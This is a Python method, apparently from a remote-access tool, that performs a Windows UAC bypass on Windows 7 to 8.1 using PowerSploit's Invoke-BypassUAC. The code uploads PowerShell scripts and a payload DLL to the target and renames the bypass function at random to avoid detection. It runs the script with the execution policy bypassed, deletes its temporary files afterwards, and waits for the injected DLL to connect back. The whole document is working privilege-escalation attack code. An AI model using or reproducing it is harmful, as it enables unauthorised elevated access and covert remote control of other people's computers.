'Performs an UAC bypass attack by using the powersloit UACBypass script (wind7 to 8.1)'

def bypassuac_through_powerSploitBypassUAC(self):

    self.module.info('Running    powersloit    UACBypass    method    for    bypassing    UAC...')
    bypassUACcmd = "{InvokeBypassUAC}    -Command    'powershell.exe    -ExecutionPolicy    Bypass    -file    {mainPowershell}    -Verbose'".format(InvokeBypassUAC=self.bypassUAC_random_name, mainPowershell=self.mainPowershellScriptRemotePath)
    self.module.info('Uploading    temporary    files')
    self.uploadPowershellScripts()
    self.uploadPupyDLL()
    content = re.sub('Write-Verbose    ', 'Write-Output    ', open(self.invokeBypassUACLocalPath, 'r').read(), flags=re.I)
    content = re.sub('Invoke-BypassUAC', self.bypassUAC_random_name, content, flags=re.I)
    logging.debug('Starting    BypassUAC    script    with    the    following    cmd:    {0}'.format(bypassUACcmd))
    self.module.info('Starting    the    UAC    Bypass    process')
    output = execute_powershell_script(self.module, content, bypassUACcmd, x64IfPossible=True)
    logging.debug(('BypassUAC    script    output:    %s\n' % output))
    if ('DLL    injection    complete!' in output):
        self.module.success('UAC    bypassed')
    else:
        self.module.warning("Impossible    to    know    what's    happened    remotely.    You    should    active    debug    mode.")
    tmp_files = [self.invokeReflectivePEInjectionRemotePath, self.mainPowershellScriptRemotePath, self.invokeBypassUACRemotePath, self.pupyDLLRemotePath]
    logging.debug('Deleting    temporary    files')
    self.module.client.conn.modules['pupwinutils.bypassuac_remote'].deleteTHisRemoteFile(tmp_files)
    self.module.success('Waiting    for    a    connection    from    the    DLL    (take    few    seconds)...')
    self.module.success('If    nothing    happened,    try    to    migrate    to    another    process    and    try    again.')
